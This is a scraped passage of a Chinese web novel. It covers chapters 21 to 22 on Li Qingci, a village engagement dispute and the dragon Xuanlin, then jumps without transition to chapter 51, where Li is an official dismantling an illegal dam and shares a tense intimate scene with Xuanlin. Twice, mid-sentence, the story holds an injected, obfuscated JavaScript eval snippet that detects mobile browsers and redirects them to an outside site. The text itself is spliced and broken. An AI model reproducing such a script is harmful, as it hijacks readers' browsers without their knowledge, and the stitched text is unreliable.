差不多也就两刻钟,俩人将五捆柴禾捆好,准备往山下走。 李青辞一手拎一捆,对陈静婉道:“你拿一捆就好,剩下的我等会来拿。” 这一捆柴并不轻,陈静婉没有逞强:“好,你也拿一捆吧,挺沉的。” 李青辞提着柴拎了拎,笑道:“还好,我提得动。” 这里离山脚不算远,陈静婉想着一会儿就走到了,点头道:“行,你累了说一声,咱们坐下歇会。” “好。”李青辞跟在陈静婉后面走着。 到了山脚,俩人把柴放下,李青辞没让陈静婉跟着去:“你坐着吧,我很快就回来。” 不等陈静婉说话,李青辞直接转身走了。 “好小子,你悠着点!”陈静婉喊了一嗓子。 李青辞提高音量:“知道了!” 到了山坡,他弯腰提起两捆柴,转身朝山下走。 突然,身后响起一道略微低沉的声音。 “你来来回回忙活什么呢?” 21. 第 21 章 玄鳞疑惑地看着李青辞。 这小东西一上山他就察觉到了,结果人走了没一会儿又折回去了,然后又折回来,这眼下看着又要往山下走。 身边还有一道陌生的凡人气息。 李青辞微微抬起右手,向他示意,笑道:“我在捡柴。” “你不用做饭,你捡什么柴?”玄鳞纳罕。 李青辞道:“我在帮静婉捡柴。” 又是静婉,小东西对朋友挺热心,玄鳞嗯了一声:“行,捡你的柴吧。” 李青辞见他又要消失,急忙开口道:“玄鳞,柴有点沉,你帮我拿一捆,好不好?” 玄鳞闻言顿住,施到一半的法术就此散开,他皱眉看着李青辞:“你自己做好人好事,还要拉上我?” “真的好沉。”李青辞走上前,放下右手的柴,把勒红的掌心伸到他眼前,“你看,都磨红了。” 玄鳞看着他默不作声。 “好吧,我自己拿。”李青辞弯腰去拎柴禾,一只比他更大、更快的手抢先拎走了柴禾。 紧接着左臂一紧,然后左手一空。 玄鳞单手提溜着两捆柴走在前头,语气不耐烦:“还傻站着干什么!跟上!” 李青辞低头搓了搓掌心,提起嘴角笑着,轻喊道:“好,来了!” 他小跑着过去,走在玄鳞没拿柴的右手边。 视线一晃,眼前多出一只手,手心里握着一把鹌鹑蛋。 他伸手捏了两个,慢慢剥皮。 玄鳞啧了一声:“都拿走。” “我得剥壳,手里拿不下,外衫给静婉了,裤子没口袋。”李青辞将眼前的手推到一边,“你先给我拿着。” 玄鳞额角抽了抽,一脸不耐地收回了手。 没一会儿,李青辞吃完手里的俩鹌鹑蛋,朝玄鳞伸手:“再给我俩。” 这时,他脑门突然被砸了一下,下意识伸手去摸,正好将鹌鹑蛋接在手里。 笑了笑,他朝玄鳞道:“砸得不疼,壳都没有破。” 话音刚落,屁股被人踹了一脚。 他往前踉跄一步,好声好气道:“我错了,我不说了。” “吃都堵不上你的嘴!”玄鳞又朝他脑门砸了一下。 李青辞笑吟吟地接过鹌鹑蛋,剥去壳,搁进嘴里吃了。 等玄鳞手里的鹌鹑蛋吃完,他们也快走到山脚了。 李青辞拍拍手,用手背擦了擦嘴。 这时,耳边突然响起一道尖锐的哭喊声。 “你走开!离我远点!” 是陈静婉的声音。 李青辞来不及多想,立刻跑过去,跑到一半,转过山路的拐角,看见底下的情况不由得放慢了步子。 原来是水谚来了,他松了一口气。 一扭头,见玄鳞站在他身边,正挑眉看着他。 他不解:“怎么了?” 玄鳞道:“稀奇,没想到你小子还能跑这么快。” “都是因为你。”李青辞抿嘴笑了笑,看着他道,“我最近吃得很好,长高了也长肉了,精力和体力都好了很多。” 玄鳞闻言将李青辞扫视一遍,心中不以为然。 还是个小崽子,不及他肩高。 “你的柴。”玄鳞随手一丢,转身走了。 李青辞看着他远去的背影,顿了顿,捡起柴往下走。 此时,陈静婉和韩水谚正僵持不下。 一见李青辞来了,纷纷收敛动作和表情。 韩水谚快步走上前,接过李青辞手里的柴,压低声音跟他说:“你帮我劝劝婉婉。” 李青辞闻言,抬眼扫他,没作声、没松手,拎着柴禾朝陈静婉走去。 “走吧,我跟你一块把柴送回家。” 陈静婉嗯了一声,抱起地上一捆柴禾。 韩水谚见状,三步做两步,赶紧冲上去抢她手里的柴,讨好地笑着:“婉婉,我给你拿。” “用不着!松手!”陈静婉冷声道。 韩水谚语气急切起来,解释道:“陈叔和我爹打起来的时候,我真没在场,我当时在厨房给我娘帮忙,等我听见声音跑出去,你爹已经走了。” “我当时就要追出去,可是我爹拦着我不让走,后来我摆脱我爹追出去。”说到这,韩水谚委屈起来,“陈叔不给我开门,你也不出来见我。” 说着,他眼圈也红了,难过道:“也就前一会儿,我在家正跟我爹和我哥说理,你爹和媒人就上门要退亲,怎么就要退亲了呢?” 陈静婉见他难过,心里也不好受,但是她心里也有怒气,高声道:“你说为什么退亲!” “你哥刚中举,你们全家就看不上我了,说我是没见识的野丫头,还说等你哥做了官,我连给你家当烧火丫头都不够格!” “我没有!”韩水谚急切喊道,“你别把我算上啊!而且,那只是我爹自己说的,我娘和我哥都没说,我们——” “得了吧!”陈静婉开口打断他,拽着柴禾就要走,“谁知道你们家里怎么想的,就这样吧,一拍两散!” “不能散不能散!”韩水谚拉着她不让走,埋怨道,“婉婉你怎么能说这样的话!” 韩水谚一急,没控好力道,陈静婉疼得直皱眉。 李青辞走上前插在两人中间,面朝韩水谚,沉声道:“你冷静一点,先松手。” 韩水谚看着一脸冷淡的李青辞,满心的慌张散了大半,他连忙松手,关心道:“婉婉,我是不是抓疼了?你别生气。” “让开!”陈静婉捂着手腕,将他推开。 李青辞接过她手里的柴禾扔给韩水谚,朝她道:“你先别着急,回去听听家里怎么说。” “对对!”韩水谚高声喊道,“青辞说得对,我们先回家,有事好商量。” 陈静婉不理他,自己一个人走在前头。 李青辞拎着两捆柴紧随其后,韩水谚拿着剩下的三捆柴走在最后面。 犹豫片刻,韩水谚没敢往陈静婉身边凑,他走到李青辞身边,低声问道:“青辞,你说我该怎么办啊?” 虽然李青辞从小体力不行,但他看书多,脑袋瓜还是很好使的。 李青辞道:“别问我,看你自己。” 韩水谚一听急了,连忙道:“青辞,你好歹给我出个主意吧,我不知道该问谁,跟我家里人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514040|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也说不通,他们都不拿我当大人看。” 李青辞闻言转头看他,淡声道:“水谚,我给你出不了主意,同样,没人能帮你做主,这是你自己的事情,决定权在你手里。” 韩水谚听完愣住了,他反复想着李青辞的话。 是啊,这是他的婚事。 是他要娶婉婉,他们的新房都快建好了,桌椅板凳、床榻橱柜都正在做着,他还特地选了一块好木料,给婉婉做了一个眼下最时兴的梳妆台。 没人再说话,一路沉默着走到陈静婉家门口。 李青辞拎着柴进去,韩水谚犹豫几息,还是抬脚走了进去。 此时,正巧陈叔从屋里出来,见到韩水谚就骂:“你个臭小子,还敢登我家门,快滚!” 说着就要上手打他。 韩水谚慌张地四下环顾,求救地看向李青辞,李青辞顿了顿,硬着头皮走到他和陈叔之间。 陈叔一看李青辞插过来了,抡着的扫帚一顿,开口道:“青辞,你起开,别打着你!” 李青辞僵硬地站在俩人中间,没作声。 韩水谚躲在他身后,冲着陈叔喊道:“叔,我是不会退亲的!” “嘿!你小子,看我不打死你!”陈叔咆哮着冲过来,“滚!从今以后,你不许再登我家的门!” 李青辞满心无奈,他张开胳膊拦住陈叔,劝道:“您别生气,他是来给家里送柴禾的。” 陈叔怒吼道:“拿走!我们要不起!” 此时,陈静婉从厨房跑出来,朝韩水谚使眼色:“你还不走!” 李青辞见陈静婉挡住了他爹,急忙往后退,凑过韩水谚身边,低声道:“你先回家,现在陈叔在气头上,你在这只能添乱。” 韩水谚想了想,觉得有道理,冲着陈静婉大喊道:“我是绝对不会退亲的!” 然后转身跑了。 “我非打死你不可!”陈叔抡着扫帚朝他砸过去。 等韩水谚走了,事态也渐渐平息了。 李青辞走到陈静婉身边,对她道:“你先别急着难过,等事情敲定再哭也来得及。” 陈静婉闻言一哽,忍不住笑道:“知道了,你回去吧。” “嗯。”李青辞接过她递过来的衣服,抬脚往山上走。 折腾这么一通,等李青辞到水潭时,已经过了晌午。 他伸手去搅水,冰凉的潭水让他忍不住抖个激灵,轻轻嘶了一声,喊道:“玄鳞,我来了。” 一滴水珠正中他眉心。 李青辞下意识闭眼,再睁眼时,身后笼罩着一团阴影。 他抬手抿去那滴水,转过身面朝男人。 玄鳞问道:“刚才那小姑娘是静婉吗?” 李青辞点头道:“是。” 玄鳞神情有些不耐,语气烦躁道:“那个小兔崽子跟她吵什么?一个比一个嗓门大!” 李青辞闻言一愣,反应过来,缓声回答:“水谚和静婉他们两个人的爹发生了冲突,导致他们的婚事有可能作罢,所以他们很难过,情绪激动也是在所难免。” “至于吗?”玄鳞不理解,语气有几分不屑,“作罢就作罢。” 22. 第 22 章 听玄鳞这么说,李青辞无奈地笑了笑,朝他道:“很至于,他们俩从小就在一起玩,感情很好,如果分开了,他们都会很难过。” 玄鳞拧起眉,满腹不解地冷哼一声:“感情好还又哭又囔的,吵成那样还能成婚?” 李青辞叹了口气,缓缓道:“就是因为感情好,才能吵起来。” 玄鳞闻言挑眉,凑到他跟前,问道:“你呢,你跟他们感情不好?我看你挺冷静的。” “不是一回事。”李青辞摇头,心里想着措辞,该怎么跟这个男人解释,好一会儿,他道,“我跟他们,和他俩之间,这两种感情是不一样的。” 玄鳞不以为然,在他看来,就是一群小孩过家家,随口道:“既然那静婉嫁不成小兔崽子,那嫁给你好了,也省得她又哭又嚎。” 李青辞定定看了他一眼,深深叹了口气,无奈道:“静婉不喜欢我,她嫁给我不会开心的,她喜欢的人是水谚。” “那你让她喜欢你不就好了。”玄鳞语气透着一股无所谓。 李青辞抬手扶额,试图和他解释,缓缓道:“我也不喜欢静婉,这种事不是嘴上说怎么样就能怎样的。” 玄鳞皱眉:“你不喜欢静婉吗?那你整天把她挂在嘴边,给她捡柴,还把衣服给她穿。” “我没有整天把静婉挂在嘴边。”李青辞一句句解释,“我跟她是朋友,也可以说是姐弟,静婉人很好,对我也很好,我做那些事是出于朋友或弟弟的身份。” 玄鳞没有出言反驳,但是他的神情透露着明晃晃的不理解。 李青辞见状叹气,看着他问道:“玄鳞,你有朋友吗?” “没有。”玄鳞道,“我不需要那东西。” 李青辞嗯了一声,稍作迟疑,慢慢问出了口:“那,你成婚生子了吗?” 玄鳞听完皱起眉:“没有,我更用不着那东西。” 他一破壳就开了灵智,一直勤勉修炼,发.情期很容易就能压下去,不像那些低下的东西,一点克制不住自己,随随便便就跟乱七八糟的东西交.尾。 李青辞伸手捂住脸,缓而深地叹了口气,心中升起一种浓浓的无力感,又莫名想笑。 算了。 不理解就不理解吧。 既然说不通,那就不说了,李青辞没再解释,放下手看着玄鳞,开口道:“我饿了。” “饿了啃自己的爪子!”玄鳞听着他理直气壮的语气,抬手在他脸上掐了一把,“我真是欠了你的!” “在这儿等着。”玄鳞带着怒气走远了。 “好。”李青辞眯了眯眼,把手缩进袖子里,闭目养神,等着男人回来。 阳光从明烈到黯淡,晃眼间,一天又过去了。 接下里的五天,每天上午,李青辞都和陈静婉一起在山上捡柴。 韩水谚光明正大地偷偷跟在两人后面。 李青辞看见远处有截细木桩,便走过去,手刚碰到木桩,就听见身后又吵起来了。 他们的婚事至今也没个定论,韩水谚死咬着牙不松口,说什么都不退婚,陈静婉这边坚持要退。 两方僵持不下,隔着长辈的恩怨,小辈的反抗有些无力。 李青辞不打算回头,就在原地站着。 忽然,听见身后两人齐齐喊他:“青辞,你过来评评理!” 李青辞满心无奈,他又不是断案的刑名,他评什么理。 叹了口气,他捡起柴禾扔到韩水谚脚下,对他道:“你去捆柴。” 转过头对陈静婉道:“你去那边歇着。” 把两人隔开。 这次的柴不多,韩水谚一个人能拿大半,李青辞拿着剩下的,招呼俩人往山下走。 等走到陈静婉家门口,韩水谚把柴放下,站在门口张望。 李青辞把他探出的大半个身子,往里推了推,无奈道:“你注意着点,别又被陈叔看见了。” “好青辞!”韩水谚揽住他的肩,请求道,“你等会给婉婉说说,让她明天还去捡柴。” 李青辞挥开他的手,对他的请求无动于衷,淡然道:“我说不了,静婉明天要和她娘去城里做衣服。” 韩水谚眼睛霎时一亮,只要婉婉能出门就好,他连忙问道:“她们什么时辰去?” 李青辞抬眼看他,没吭声,转过头看向村头。 韩水谚一怔,随即反应过来,低声笑道:“好,明天老时间我还在村口等着,你去吗,我赶车带着你。” “不去。”李青辞摇头道,“你自己折腾吧。” 韩水谚语气低落下来:“好吧。” 随即他又振作起来:“我一定好好表现!” 李青辞对他的豪言壮语不作任何表示,不打击、不鼓励。 隔天。 一大清早,李青辞缩在不怎么暖和的被窝里,缓慢地探出手去摸被子上冰凉的衣服,稍稍犹豫一番,他一鼓作气掀开被子,利索地爬起来。 从衣橱里挑了一件夹棉的薄袄穿上,快速洗漱后,朝着山上走去。 他现在体力好了很多,中间用不着休息能一口气直接爬上山。 到了水潭边,他一眼就看见了躺在石头上晒太阳的玄鳞。 李青辞稍稍惊讶一瞬,也没有太在意,这些时日,玄鳞都不怎么泡水了,而是跟他一样躺在树荫下睡觉。 等他走到玄鳞身边,还未来得及开口说话,就听见玄鳞问他:“今天想吃什么?” 李青辞闻言一愣,往日都是玄鳞给什么他吃什么,他从未提过要求,玄鳞也没有询问过他的意见。 略微惊讶后,他想起前几天的鹌鹑蛋,开口道:“想吃烤鹌鹑,要多抹点蜂蜜。” “行。”玄鳞语气干脆。 半晌。 火堆架在潭边,上面齐刷刷摆了五只烤鹌鹑,每只鹌鹑上都抹了一层厚厚的蜂蜜,看着油亮润泽,很是可口,空气中都弥漫着一股浓浓的甜香。 李青辞拿着玄鳞给他的小块蜂巢,小口舔着。 “吃吧。”玄鳞拿下来一只鹌鹑,用荷叶包好递给他。 李青辞接过来,朝男人伸手:“我的筷子。” 玄鳞从身上摸出一双筷子扔给他。 李青辞夹着肉块往嘴里送,笑着说:“玄鳞,你烤得越来越好吃了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这一天,他感觉自己什么也没做,就吃吃吃睡睡,看了几十页书,捏着细沙画了会儿画。 临近傍晚,山间起风了。 风吹过,石头上的沙画随风消散,一点痕迹都没有留下。 此时,太阳西沉,天边只留一线余晖。 等李青辞吃过晚饭,天色已经变得黯淡,晚上也没星月,光线昏暗。 幸而身边燃着一个明亮、炽热的火堆,李青辞沐浴在火光下,眯起眼伸了个懒腰,懒懒散散地走到水潭边洗手。 冷冽刺骨的潭水给他冰了个激灵,等洗完手,双手都变得通红。 “过来。”玄鳞冲他招手。 “来了!”李青辞跑过去,等着玄鳞抱他。 结果玄鳞掐在他腋下,把他提溜起来拎了拎,笑着说了一句:“重了不少。” 李青辞听完也很开心,笑着说:“我还会长的,你等着,我觉得我最起码能长到你眼睛那儿。” 他说完,玄鳞没有言语,在他脑袋上拍了拍:“走吧,送你回家。” 到了家门口。 李青辞照例朝玄鳞笑着挥手:“明天见。” 玄鳞看着他道:“李青辞,我要走了。” “好,知道啦。”李青辞笑意不减,又说了一遍,“明天见!” “李青辞!”玄鳞加重了语气,“我说,我要走了。” 50-60 第51章 加更 你听话,乖一点。 玄鳞伸手把李青辞扶正,缰绳塞在他手里:“慢慢骑过去,离得不远了。” “好。”李青辞忍下心里的不舍,慢慢松开抓着的手,一身失落地垂头坐着,驾马小跑。 庇护的怀抱没了,周围的冷风像是伺机而动的猛兽,叫嚣着冲马上的人扑过来。 没了那只能笼罩住整只手的大掌,手上那点暖意很快流失。 李青辞心情抑郁,第一次这么期待天黑。 身后,玄鳞拧着眉看他,蔫头耷脑的,也不知又怎么了。 自己也没逗他,玄鳞头疼地叹气。 …… 没多久,前方出现纷乱的人群。 李青辞挺直腰身,敛去脸上神情。 到了帐篷近前,他翻身下马,解下腰间的符牌。 “李大人!您来了,快端热茶来!”徐子禄几人上前簇拥他,扶着他坐下。 李青辞抬手制止:“免了,我就不坐了,先把公事办了。” 他朝漕军千户出示符牌:“有人胆敢决堤引水,妨碍河道堤防,本官现调二十名官兵,随我前去查处。” 千户一早得了同知大人的授意,他二话没说,当即着人点兵:“李大人随意差遣,他们莫敢不从。” 李青辞扫视他们,笑着颌首:“诸位在此歇着吧,差使在身,我就不奉陪了。” “好说,好说。”郑其正笑得和蔼,亲自送他出帐篷。 徐子禄脸上挂了些讪然,低着头没和他对视。 李青辞翻身上马,领了兵和工匠,直奔汇济渠。 到了土坝,李青辞命令小旗官,带一队人去张有良的宅院,把人提过来。 又吩咐两人,去一趟阳源县衙。 李青辞沿着河堤行走,观察这里的河水,水色清亮透明,河底泥沙浅。 河水潺潺向东流去,荡起层层漪波。 李青辞低头用力嗅了嗅,很清新的湿润气味。 他怎么看,都看不出脏来。 不由得想,玄鳞才娇气。 等了片刻。 一个身穿暗红色绣福字绸衣的白胡子老头,洋洋得意地骑在一头驴上,慢悠悠地朝土坝过来。 身后一队人马压着步子缀在他身后。 张有良身边跟着四五个家丁,皆是壮汉。 到了跟前,张有良也不下驴,坐着跟李青辞说话,嘴角撇着,一副轻视之态,似是看不起他这六品小官。 “这个大人不知如何称呼,老朽年迈,行动不便,就不向大人见礼了,想必大人也不会怪罪于我吧。” 李青辞挑了下眉,笑道:“好说,好说。” 张有良脸上得意之色更甚。 李青辞打量着他也不会自行拆除土坝,便朝身后的小旗官看去:“咱们自己动手拆吧。” “是!大人!” 见他们真敢动手拆坝,张有良急了,他抬脚去踢身旁的家丁,喝斥道:“还不快扶我下来!” “是,老爷您慢点。”家丁搀他下来。 张有良怒气冲冲:“没用的东西,养着你们干什么吃的,没看旁人在拆我的坝吗!不知天高地厚的东西!” 一番指桑骂槐,怨毒的眼神瞪着李青辞。 李青辞视若无睹,好整以暇地与他对视,面上带着淡淡笑意。 家丁们低头不语,谁敢和官兵斗啊,他们手里有刀,随意砍死他们,也没人替他们做主。 周围一片沉默,只余土块倒塌的声音。 张有良猛一甩袖,走到李青辞面前,用鼻孔看人:“这位大人是新来阳源县的官吧?看样子不认识老朽。” 李青辞呼出一口气,懒得纠缠了,他冷下脸,沉声道:“本官乃工部都水司主事,奉命前来监管沙英河检修,你私自决堤引水,犯了大雍律法,待土坝拆除,本官就押你去阳源县大堂问罪、判刑。” 工部?都水司?那不是京城的官吗? 张有良内心惊疑不定,但是看见他青袍上绣的鹭鸶,内心安定下来。 京官又如何,再厉害不过六品而已。 他亲家可是正四品大员,管着遂宁府五十多万口人,穿的是绯色官袍,上面绣的云雁那才叫精神、漂亮! 张有良瞧着被拆除的土坝,面露心疼之色,这可是花了几十两银子建的啊,他忍住怒意朝李青辞开口:“这位大人,我是此地的乡约,汇济渠本就是衙门为阳源县的数万百姓所建,我是阳源县的百姓,我引水有什么不对!” 理直气壮,丝毫不觉自己有错。 李青辞心知,与他分辨,纯粹浪费口舌,便抿嘴不语。 张有良也不在意,区区几十两银子,他花得起,等人走了再建一个就是。 片刻后。 小旗官上前:“李大人,土坝已经拆除完毕。” 李青辞点头:“好。” 他朝身后数十名工匠道:“你们前去修补河堤,今日必须完工,缺少什么,我命人骑快马去取。” 工匠领命:“是,大人,天黑前,绝对能完成您交代的差使。” “好,去做事吧。”李青辞朝向小旗官,“把此人带走。” 张有良闻言怒目,扬手给领头的士兵一拳,甩着胳膊后退,一副无赖的样子:“我哪都不去!我今年六十有九,年迈腐朽,若大人强行逼迫我离开,我在半道出了意外,我家人定要告你鞭挞百姓、草菅人命!” 就知道是这样,李青辞翻了下眼皮,没怎么意外。 他抬手挥退士兵:“别碰他,先等着。” 小旗官听完,一脸如蒙大赦的表情,赶紧领着自己的人退到李青辞身后。 这么不讲理的老头,家里又有靠山,到时候讹他一把,真是平添无妄之灾。 张有良鄙夷哼笑,他理着袖子,揣手要走,这么冷的天,他才不在这吹冷风。 李青辞高声喝道:“拦住他!” “是。” 一行十几个士兵,围成圈将他定在原地。 张有良恼怒,大为光火:“好啊!光天化日、朗朗乾坤,你们数十官兵竟然欺负我一个糟老头子,朝廷还有没有人管!” 他小跑着撞向一名士兵,那人快速后退。 张有良扑了个空,踉跄一下。 士兵见他站稳,伸出一半的手又缩回来,没去扶他。 张有良扶正脑袋上的瓜皮帽,朝着家丁怒道:“去!把我闺女、女婿喊来!再晚些,他们就没我这个爹了。” 家丁迟疑时,李青辞开口了:“不必多此一举,我事先已经派人去了阳源县衙,想必不出一刻,他们就该回来了。” 张有良喘着粗气,一屁股坐在地上:“行,我今日就在这候着,等着衙门给我主持公道。” 李青辞笑道:“好说,您擎等吧。” 不久后。 远远传来马蹄声,一人数十人皆骑快马,朝着众人迟来。 为首的穿一身青色官袍,补子上绣着鸂鶒,正是阳源县县令。 他四十出头的年纪,长着一张严正的方脸,只不过下颌多出的几圈肥肉,消弭其几分威严。 屠少敏下马后,朝众人扫视一圈,视线定在李青辞身上,不紧不慢地朝他走过去:“李大人,您这是何意?” 就算李青辞是都水司的郎中,也管不到他地方县衙头上。 因此他语气不算恭敬,颇有轻慢之意。 李青辞心里已有厌烦之意,他拧着眉心,面露冷沉,开门见山道:“屠县令,你岳丈私决河堤,公然与律法、朝廷作对!” “本官念他年事已高,想从轻发落,奈何他油盐不进,撒泼闹事!” 屠少敏眼神飘忽一瞬,露出心虚之色。 李青辞朝前迈了一步,行至他身前:“你,有玩忽职守、懈职之责,另有包庇之嫌!” “不止你。”李青辞扫视他带来的衙役,“还有阳源县负责河防巡逻的所有官吏,皆有罪责!” 语气骤然威严,这声高喝,听得屠少敏心惊,他抖了个激灵,心道不好,这是碰上愣头青了! 还是个硬茬子。 他赶紧做小伏地,面上堆起笑,和缓道:“李大人别动怒,且听下官慢慢与你说来。” 李青辞嗤了一声,到底给他留了几分薄面,压低声音道:“屠县令要说什么,说府台大人吗?” 屠少敏愣住,听出了他语气里的轻视。 李青辞眼帘上挑,下巴微抬,一副矜傲神态:“屠县令,你还是不用废这个口舌了,这件事最好到你为止,不然牵扯到府里……” 李青辞笑了一声:“恐怕你以后就要丢了一门好姻亲。” “河防是何等重要之事,事涉京畿安危,我想,没人担得起这个责任。” 屠少敏神色凝重,见他态度如此强硬,不由得又气短几分,斟酌道:“李大人,何必跟一老叟计较,这样吧,临近晌午,我让拙荆在家里略备薄酒小菜,邀您吃个便饭。” 李青辞侧目,冷眼看他。 屠少敏顿时闭嘴,心中一凛。 李青辞压着不耐:“我再给你一次机会,是适可而止,还是要把事情闹大,闹到工部尚书面前,闹到三法司面前,事涉府台,闹到圣上跟前也不无可能。” 屠少敏惊得一身冷汗,他吞咽不成,抬起手抹了把额头,心思快速回转。 不过两息,他朝着张有良怒喝道:“来人!将此刁民压回县衙候审,再敢决堤引水,本官严惩不贷!” 张有良目瞪口呆,当即就要大骂他不孝,这时,跟来的衙役立刻捂住他的嘴,将他拖走。 屠少敏恭恭敬敬地朝李青辞作揖,心中忐忑不已,语气格外谦卑:“禀大人,下官已知晓轻重深浅,定会处理好此事,修补河堤的工费,全由这刁民承担。” “另外,此事,下官确有失察之责,劳烦大人和诸位官兵跑这一趟,下官着实过意不去,愿拿出一年俸禄,为诸位添些餐饭。” 李青辞瞥他,还是个明白人,抬手虚扶他一把:“屠县令知道就好,既然你有这个心意,本官也不好驳你的面子,你把银子捐给河道账房,大家都领你这份心意。” 屠少敏听完,凝重的神色松散不少,他低低道:“此事,还望大人高抬贵手,轻拿轻放。” 李青辞笑着应承:“好说,好说。” 下一瞬,他敛起笑容,朝官兵开口:“此事已了,咱们回河道办差。” “是,大人!” 屠少敏小跑着跟在马旁,目送他们离去:“大人一路慢行。” 李青辞头也没回,扬起马鞭,策马离去。 一行二十多骑,所经之处尘土飞扬。 屠少敏抬袖掩面,灰头土脸地走到张有良跟前,朝衙役道:“松开他。” 张有良一得了自由,张嘴就骂:“你小子!现在敢绑我!你干脆杀了我算了!” 屠少敏疲累地叹气,掀袍朝他跪下,恳求道:“爹,就算我求您,您以后别再决堤引水了,否则我保不住你。” 张有良怔住,身子晃了晃,一旁的衙役赶紧扶他。 他大喘两口气,推开衙役,怒声道:“我引水浇地怎么了!种的东西都是给你们吃!” “你官低,还有我外孙女婿呢!让他去处置刚才那个当官的。” 屠少敏一脸颓然,哀声道:“爹,刚才那个人不是好惹的,他位低权重,是工部的官,府台大人也管不到他。” “事关河防,兹事体大,若他真向朝廷参一本,咱们全家都没好果子吃,轻则丢官罢职,重则抄家入狱。” 张有良瞪大眼睛,嘴唇蠕动,指着他道:“你、你吓唬我是不是?” 屠少敏叹了口气,站起身来,不再与他争辩:“这几日,您就先住在县衙后堂,对外宣称,我已将你入狱关押,等此次河道检修事了,李大人交差离职后,您再回来。” “屠少敏!你个白眼狼!”张有良上去锤打他。 屠少敏疲惫地摆手:“带老爷子回县衙。” “是。”三四个衙役半拖半拽的,总算将人带走了。 一上午兵荒马乱的,总算结束了。 晌午放饭。 徐子禄快步拦在李青辞身前,作揖道:“李大人,我们几人凑了些份子,又从家里带了些特色吃食,置办了一桌简陋餐食,请您吃个便饭。” 李青辞摇头:“不必,无功不受禄。” 徐子禄闻言,心里涌出尴尬,他言语不详道:“有功有功,我们都感佩大人的恩德。” 李青辞淡淡道:“职所当为之事,你们自吃吧,我去打饭。” 他绕过徐子禄离开。 徐子禄站在原地踌躇,到了,也没追上去,他叹了一声,回到帐篷内。 “他人呢?”郑其正朝后看去。 徐子禄道:“去吃大锅饭了。” 郑其正沉默一瞬,笑道:“那咱们自己吃吧,他不跟我们搅合一起,也是应该的,以后打交道的机会不多。” “也是。”徐子禄掀袍入座。 郑其正扫视一圈,沉声道:“各自的差事都盯紧些,确保工期内完成检修,让李大人按时回去交差。” 众人纷纷应和:“是,同知大人,卑职定当勉力为之。” 傍晚。 李青辞画了卯,策马离去。 他一路慢行,朝着前方张望,远远的,也没看见人影。 别是在家睡过头了吧。 这时,他手里的缰绳被夺去,腰间一紧。 李青辞立刻回头去看:“你来啦!” 微凉的指腹擦过他弯起的眼尾,又蹭了蹭他翘起的嘴角,玄鳞扶正他的肩:“坐好,等会儿拧着腰又怪我。” 李青辞歪头去看他,冲着他笑:“知道了。” 笑得一脸傻样儿。 玄鳞哼了一声,拢住他两只手,攥在掌心里揉搓。 一路闲言,溜达着回了城。 现在天冷,吃完饭,李青辞看书的时间缩短不少,简单收拾洗漱后,他就躺进了被窝里。 玄鳞揉他的脑袋,带走头发上残存的潮湿水汽。 随即揽着他的肩,把人拨在自己身上,低声询问:“你什么时候闲着?” 李青辞颊边贴着温凉,脸肉被挤压,他垂着眼,嘴唇小幅度张合:“后天。” “行,到时候带你出去放放风。”玄鳞贴着他的脸,拢着他一只手揉捏,“有想玩的吗?” 李青辞想了想,晃他的手:“没有,你决定吧。” “这么乖?”玄鳞捏他的手指头,侧过头,在他耳边阴恻恻道,“我把你带出去喂狼,好不好?” 李青辞直翻白眼。 他怀疑在玄鳞眼里,他只有五六岁的年纪。 “真难看。”玄鳞嫌弃,朝他脸上吹了口气,“以后不许翻白眼,只有死鱼才这样。” 李青辞逆反劲儿又上来了,他追到玄鳞脸前翻白眼:“我就翻。” 玄鳞深吸一口气,指头戳着他的脑门往后推:“你看看自己的德性,挨打亏不亏,我真是下手轻了。” 李青辞斜眼睨他,冷冷哼了一声。 这模样,这语气,活脱脱就是另一个玄鳞。 玄鳞扯着嘴角哼了两声:“你就嘚瑟吧,哪天我不顺心了,给你来顿狠的,打完不给你舔,好好让你疼一阵子。” 李青辞抿了抿嘴,嚣张的气焰像是兜头浇了盆凉水,倏地灭了。 他低着头,郁闷道:“你到底什么时候才能不打我?” 玄鳞听完也发起愁来,孩子大了不听话,除了打,还能怎么管? “你听话,乖一点。”玄鳞揉了揉他的嘴唇,“小嘴少巴巴几句,都像你认错的时候那么撒娇卖乖,我怎么会打你。” “凭什么?”李青辞冷笑,抬头看他:“你为什么不听话?你怎么不乖一点?” 玄鳞闻言挑眉:“行啊,李青辞,胆子又有长进,现在都想骑到我头上来了!” 李青辞推开他,撑着手臂坐起来:“你总这样,不讲理,光说我,自己却做不到。” “不服气?”玄鳞起身,从身后扳过他的脸,眼神一凌,“不服气也憋着,这辈子你都只能被我压着。” 没有一头雄蛟能忍受这种挑衅,尤其是还处在春情期。 玄鳞手臂横在李青辞颈前,箍住他单薄的双肩,下巴压在他头顶。 一个极其霸道、强横的圈禁姿态。 李青辞低着头没说话,气息肉眼可见的萎靡下去,他茫然地睁着眼,心里思绪纷杂。 玄鳞什么时候能把他当成一个平等的大人看呢。 脑袋越垂越低,李青辞垮下肩膀,额头抵在膝盖。 浑身萦绕着失落和难过。 床上一片沉默。 与此同时,另一道倨傲的气势也低迷起来。 神色露出一丝沮丧。 昂着的头颅低垂下来。 “又不高兴。”玄鳞低声嘟囔,手掌托住李青辞的下巴,轻轻往上抬,拉低衣领,凑在他裸露的脖子上舔了一下。 “这样行了吧。”玄鳞语气低沉,透着一股郁闷和不情愿。 李青辞懵住。 柔软的触感,脖子上的湿润极其明显,他嗅到了很浓的清冽气味,是玄鳞的味道。 他小声道:“玄鳞,你在干什么?” 玄鳞垂着头,一副悒悒不欢的样子,好像做了很没有尊严的事情。 一头威风凛凛的千年雄蛟,却在向一个凡人小崽子献媚讨好。 玄鳞越想越憋闷,语气凶恶道:“咬你!我想吃你的肉!” 李青辞听了没恼,反倒抿嘴笑了起来,轻轻哦了一声。 “哦什么哦!”玄鳞气急败坏,恼羞成怒,“闭嘴!” 